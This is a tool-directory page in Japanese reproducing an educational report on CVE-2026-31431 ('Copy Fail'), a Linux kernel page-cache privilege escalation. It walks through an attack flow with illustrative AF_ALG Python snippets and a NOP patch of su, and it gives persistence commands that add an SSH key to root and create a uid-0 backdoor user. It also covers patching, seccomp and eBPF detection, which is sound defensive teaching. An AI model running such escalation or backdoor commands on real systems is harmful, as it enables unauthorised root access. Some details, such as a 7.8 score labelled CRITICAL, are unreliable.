Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431-Report-Copy-fail-Vulnerability- — LinuxカーネルにおけるCopy Fail脆弱性(CVE-2026-31431)の詳細な分析。メモリ破壊のメカニズム、権限昇格のフロー、およびセキュリティへの影響を含む。 | Kitploit
ツール/GitHubGitHub/krish-foren6/cve-2026-31431-report-copy-fail-vulnerability-
特権昇格メモリフォレンジック脆弱性分析エクスプロイト学習と教育インシデントレスポンスコンテナエスケープ
GitHubkrish-foren6/cve-2026-31431-report-copy-fail-vulnerability-

CVE-2026-31431-Report-Copy-fail-Vulnerability-

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

LinuxカーネルにおけるCopy Fail脆弱性(CVE-2026-31431)の詳細な分析。メモリ破壊のメカニズム、権限昇格のフロー、およびセキュリティへの影響を含む。

リポジトリを見る
13ヶ月前未レビュー

CVE-2026-31431 — Copy Fail: Linuxカーネル権限昇格

CVE CVSS Kernel Type Purpose

LinuxカーネルにおけるCopy Fail脆弱性の教育目的の分析。
メモリ破壊メカニズム、権限昇格フロー、コンテナエスケープ、防御策を解説します。


⚠️ 免責事項

このリポジトリは教育および研究目的のみを対象としています。
所有していないシステム、または明示的な書面によるテスト許可がないシステムでこの情報を使用しないでください。
すべてのコードスニペットとコマンドは、Linuxカーネル内部の理解を助けるためにのみ提供されています。


目次

  • 概要
  • 脆弱性の識別カード
  • 背景となる概念
  • バグの仕組み
  • 完全な攻撃フロー
  • なぜこれほど危険なのか
  • 安全な実践的観察
  • 防御と検出
  • 類似CVEとの比較
  • 用語集
  • クイックリファレンス

概要

CVE-2026-31431、別名 Copy Fail は、Linuxカーネルの脆弱性であり、特権のないローカルユーザーが特別な権限なしにrootへ昇格できるものです。

攻撃は完全にRAM内で行われます。ディスクファイルには一切触れません。つまり、ファイルハッシュはクリーンなままで、タイムスタンプは変更されず、監査ログには何も記録されません。システムが再起動すると、すべての証拠が消えます。

root@kitploit:~
通常ユーザー  →  algif_aeadバグを悪用  →  ページキャッシュを上書き  →  root

主な特性:

  • ✅ レースコンディションなし — 毎回確実に動作
  • ✅ ディスクに触れない — フォレンジックでは何も見つからない
  • ✅ 標準のローカルユーザーアカウントのみ必要
  • ✅ 共有ページキャッシュを介したコンテナエスケープが可能

脆弱性の識別カード


背景となる概念

/usr/bin/su — 標的バイナリ

su (Switch User) は、ユーザーが別のアカウント — 通常はroot — に切り替えることを可能にします。これはSetUIDバイナリです:

root@kitploit:~
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUIDフラグ

s フラグの意味: 任意のユーザーがこのバイナリを実行すると、rootの権限で実行されます。これにより、価値の高い標的となります。

その内部ロジック (簡略化):

root@kitploit:~
if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

攻撃目標: password_correct() チェックを完全にスキップすること。


RAMとページキャッシュ

Linuxがディスクからファイルを読み取ると、ページキャッシュと呼ばれるRAMにコピーを保持します。

コンポーネント説明
ディスクディスク上の元のファイル (本棚)
ページキャッシュファイルのRAMコピー (机の上のコピー)
CPUページキャッシュから読み取り・実行 — 高速
攻撃者RAMコピーを変更; ディスクはそのまま
root@kitploit:~
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← これがページキャッシュ

バッファとセーフバッファ

タイプセキュリティ
セーフバッファ — カーネル割り当て、サイズと境界が制御されている✅ OK
ページキャッシュ — ファイルバッキングされたRAMコピー、共有、実行可能⚠️ 書き込み可能な場合は危険
誤ったポインタ — バグにより任意の場所を指すアドレス🔴 CRITICAL

AF_ALG と algif_aead

AF_ALG (Algorithm Family) は、ユーザースペースプログラムがカーネルの暗号機能 (AES、SHA、AEAD) を使用できるようにするLinuxソケットインターフェースです。

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);  // 暗号ソケットを開く

algif_aead は、AF_ALGを介してAEAD暗号化 (例: AES-GCM) を処理するカーネルモジュールです。脆弱性はそのデータコピーステップに存在します。

root@kitploit:~
AF_ALG  →  algif_aead  →  AES-GCMエンジン  →  出力バッファ
                                ↑
                           バグはここ

バグの仕組み

このバグは暗号化ロジックにはありません。メモリ処理にあります — データコピー中に誤ったメモリ領域が選択されます。

通常のフロー (バグなし):

root@kitploit:~
destination = safe_output_buffer;       // 正しい場所
memcpy(destination, user_data, size);   // データが安全に書き込まれる

脆弱なフロー (バグあり):

root@kitploit:~
destination = buffer + WRONG_OFFSET;    // バグ: 誤ったポインタ!
memcpy(destination, user_data, size);   // データがページキャッシュに書き込まれる

カーネルはセーフ出力バッファに書き込むはずでした。オフセットの計算ミスにより、/usr/bin/su のRAMコピーを保持するページキャッシュに書き込まれます。

攻撃者がメモリ内で変更するもの

このバイナリにはx86-64マシンコードが含まれています。攻撃者は認証失敗をトリガーする条件付きジャンプを標的にします:

攻撃前:

root@kitploit:~
cmp  eax, 0     ; 戻り値をチェック
jne  0x1234     ; 失敗の場合 → 拒否へジャンプ
call give_root  ; rootを付与

攻撃後 (RAM内で2バイト変更):

root@kitploit:~
cmp  eax, 0     ; 同じ
90 90           ; NOP NOP ← ジャンプが置き換えられ、チェックがスキップされる!
call give_root  ; CPUはここに直接到達

NOP = No Operation (無操作)。CPUは何もせずに次へ進みます — 認証チェックを完全にスキップします。


完全な攻撃フロー

攻撃前のマインドセット

「通常のユーザーアカウントだけで十分だ。カーネルが自らミスをする。
ディスクはクリーンのまま。ログも残らない。毎回成功する。」

ステップ 0 — 偵察

root@kitploit:~
whoami && id
# uid=1000(user) gid=1000(user) ← 通常ユーザー

uname -r
# 6.1.0-generic ← 脆弱な範囲内

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID確認済み

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

ステップ 1 — ファイルをページキャッシュに読み込む

root@kitploit:~
cat /usr/bin/su > /dev/null
# /usr/bin/su がページキャッシュに読み込まれた ✓

ステップ 2 — バイナリをリバースエンジニアリング

root@kitploit:~
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

探すもの: 認証関数のアドレス、jne/jnz 条件付きジャンプ、およびその正確なバイトオフセット。

ステップ 3 — AF_ALGソケットを開く

root@kitploit:~
import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

ステップ 4 — 細工されたペイロードを送信

root@kitploit:~
payload = b'\x90\x90'  # NOP NOP — 条件付きジャンプを置き換える
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

ステップ 5 — カーネルがページキャッシュを上書き

root@kitploit:~
# カーネル内部 (簡略化):
destination = buffer + crafted_offset  # バグ: 誤ったポインタ
memcpy(destination, payload, 2)        # NOPバイトがページキャッシュに書き込まれる
# /usr/bin/su のパスワードチェックがRAM内でNOP NOPになる

ステップ 6 — トリガー

root@kitploit:~
su
# Password: (何でも — またはEnterを押すだけ)
# root@victim:/# ← ROOT取得

何が起こったか: システムはRAMから /usr/bin/su を実行しました。パスワードチェックはNOPでした。CPUはそれをスキップしました。give_root() が直接呼び出されました。

ステップ 7 — 永続化 (任意)

root@kitploit:~
echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

なぜこれほど危険なのか

レースコンディションなし

ディスクに触れない — フォレンジックは失敗

攻撃後、フォレンジック調査員は次のことを発見します:

root@kitploit:~
sha256sum /usr/bin/su       # 以前と同じハッシュ ← ディスクは無傷
diff /usr/bin/su backup/su  # 違いなし
grep -r 'attack' /var/log/  # 何もなし
auditd logs                 # ファイル書き込みは記録されていない

再起動するとRAMはフラッシュされ、すべての証拠が消えます。

コンテナブレイクアウト

コンテナはユーザースペースを分離します — しかしカーネルは共有されており、ページキャッシュはカーネルメモリです。

root@kitploit:~
ホストカーネル
├── コンテナ 1 (分離されたユーザースペース)
│   └── 攻撃者はここにいる
├── コンテナ 2
└── ホストプロセス

ページキャッシュ: すべてのコンテナとホスト間で共有!

エスケープ経路: コンテナ1の攻撃者がホストの /usr/bin/su を読み取る → バグをトリガー → ホストのバイナリがRAM内で変更される → ホストで su を実行するとホストマシン上でrootが得られる。

影響を受けるもの: Docker、Podman、LXC、Kubernetes (共有ノード) — ホストカーネルが脆弱な場合。


安全な実践的観察

これらは観察演習のみです。テストにはラボ環境 (Docker + 旧カーネルVM) を使用してください。

ページキャッシュを観察

root@kitploit:~
free -h                      # 前のCache値を確認
cat /usr/bin/su > /dev/null  # ファイルをページキャッシュに読み込む
free -h                      # Cacheがわずかに増加

バイナリのメモリマッピングを表示

root@kitploit:~
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

バイナリを検査

root@kitploit:~
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

アセンブリを表示 (gdb)

root@kitploit:~
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

ディスクとRAMのハッシュ

root@kitploit:~
sha256sum /usr/bin/su
# 通常はディスクと同じ — 攻撃成功後は異なる
# /proc/PID/mem の比較にはrootが必要

防御と検出

即時緩和策

優先度 1 — カーネル更新 (最善の修正)

root@kitploit:~
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

優先度 2 — algif_aead を無効化

root@kitploit:~
sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

優先度 3 — アクセス制御
systemdサービスの SystemCallFilter でseccompプロファイルを適用し、信頼できないプロセスのAF_ALGソケットアクセスを制限します。


検出

eBPFリアルタイム検出

root@kitploit:~
sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

コンテナの強化

root@kitploit:~
# seccompプロファイルで実行 (AF_ALGをブロック)
docker run --security-opt seccomp=custom-profile.json my-image
  • AF_ALGソケット作成をブロックするseccompプロファイルを使用
  • 高リスクワークロードにはgVisorまたは同様のカーネル分離を使用
  • 特権コンテナを回避
  • コンテナ内のルートファイルシステムを読み取り専用に設定
  • Kubernetes Pod Security Standards — restricted ポリシーを適用

類似CVEとの比較

CVE-2026-31431 は、ステルス性 (ディスク不変) + 信頼性 (レースコンディションなし) + コンテナエスケープ を組み合わせており、同クラスの中で特に危険です。


用語集


クイックリファレンス

攻撃フローの概要

防御チェックリスト

  • カーネルをパッチ適用済みバージョンに直ちに更新
  • 不要な場合は algif_aead モジュールを無効化
  • eBPFまたはFalcoカーネルレベル監視を有効化
  • コンテナのseccompプロファイルを更新してAF_ALGをブロック
  • メモリベースのバイナリ整合性チェックをスケジュール
  • インシデント対応計画をレビューおよび更新

一言で言えば

CVE-2026-31431では、Linuxの暗号モジュール (algif_aead) にメモリコピーバグがあり、攻撃者が制御するデータがセーフ出力バッファの代わりにページキャッシュに書き込まれます — SetUIDバイナリをRAM内で静かに変更し、ディスク上に痕跡を一切残さずに、任意のローカルユーザーがrootアクセスを取得できるようになります。


このドキュメントは、Linuxカーネルセキュリティ内部の教育的理解のために作成されています。
— 教育目的のみ —

📄 完全レポート (PDF)

👉 完全レポートをダウンロード

ツールをダウンロード
フィールド値
CVE IDCVE-2026-31431
通称Copy Fail / algif_aead ページキャッシュ破壊
CVSS v3.1 スコア7.8 — CRITICAL
攻撃タイプローカル権限昇格 (LPE)
影響を受けるカーネルバージョンLinux 5.10 ~ 6.8 (概算)
脆弱なコンポーネントcrypto/algif_aead.c — AF_ALG ソケットインターフェース
悪用の信頼性高 — レースコンディション不要
ディスク上の証拠なし — RAMのみの変更
コンテナへの影響あり — 共有ページキャッシュによるホストエスケープ
パッチ状況利用可能 (上流カーネルパッチ公開済み)
CVEレースコンディション?ディスク安全?信頼性
CVE-2016-5195 DirtyCowあり — タイミング必要いいえ — ディスク変更中
CVE-2022-0847 DirtyPipe最小限はい — RAMのみ高
CVE-2026-31431 Copy Failなし — 直接書き込みはい — RAMのみ非常に高
検出方法機能するか?
sha256sum / ファイルハッシュ❌ ディスクは同一
ファイル変更タイムスタンプ❌ ディスクは無傷
auditd ファイル書き込みログ❌ ディスク書き込みは発生していない
プロセスメモリ検査 (/proc)✅ リアルタイムで監視されている場合のみ
eBPFカーネル監視✅ システムコールレベルの検出
メモリフォレンジック (LiME)✅ ただし複雑
方法コマンド / アプローチ
カーネルバージョンuname -r → パッチ適用済みバージョンと比較
モジュール読み込み済み?lsmod | grep algif_aead
eBPF監視bpftrace -e 'kprobe:algif_aead_sendmsg { ... }'
プロセスメモリcat /proc/PID/maps — ディスクハッシュと比較
auditdausearch -sc socket -sv no
Falcoルール: 予期しないmemfdまたはページキャッシュ書き込み
メモリフォレンジックインシデント後の分析用LiMEダンプ
CVE / 名称レースコンディション?ディスク安全?コンテナエスケープ?信頼性
CVE-2016-5195 DirtyCowあり — タイミング必要❌ ディスク変更部分的中
CVE-2022-0847 DirtyPipe最小限✅ RAMのみあり高
CVE-2026-31431 Copy Failなし — 直接書き込み✅ RAMのみあり — 共有キャッシュ非常に高
用語意味
権限昇格許可なく通常ユーザーからrootへ移行すること
ページキャッシュカーネルが管理するRAM内のファイルコピー
SetUIDバイナリ任意のユーザーに対してroot権限で実行されるroot所有のファイル
書き込みプリミティブバグを通じて得られる任意メモリ書き込み能力
レースコンディション正確な実行ウィンドウを必要とするタイミングベースの攻撃
AF_ALGLinuxカーネル暗号ソケットインターフェース (Algorithm Family)
algif_aeadAEAD暗号化カーネルモジュール — 脆弱なコンポーネント
memcpy()メモリコピー関数 — あるアドレスから別のアドレスへデータを移動
NOPNo Operation — 何もせず次へ進むCPU命令
コンテナエスケープコンテナから抜け出してホストシステムにアクセスすること
eBPFリアルタイムシステムコール検出のためのカーネルレベル監視ツール
LiMELinux Memory Extractor — フォレンジック分析用RAMダンプツール
SeccompSecure Computing — システムコールを制限するLinuxメカニズム
ELFExecutable and Linkable Format — 標準的なLinuxバイナリ形式
CVECommon Vulnerabilities and Exposures — 脆弱性識別子
CVSSCommon Vulnerability Scoring System — 標準化された重大度スコアリング
カーネルモジュールカーネルプラグイン (例: デバイスドライバ、暗号ハンドラ)
オフセットあるメモリポイントから別のポイントまでのバイト距離
リバースエンジニアリングソースコードなしでコンパイル済みバイナリを分析すること
ステップアクション
1whoami — 通常ユーザーであることを確認
2uname -r — カーネルが脆弱な範囲 (5.10 – 6.8) にあることを確認
3ls -la /usr/bin/su — SetUIDフラグが存在することを確認
4エクスプロイトスクリプトを実行: AF_ALG → algif_aead → 細工されたペイロード
5カーネルバグがトリガー → /usr/bin/su のページキャッシュがRAM内で上書きされる
6su を実行 → ROOT取得 (パスワード不要)
7永続化: SSHキーを追加またはバックドアrootユーザーを作成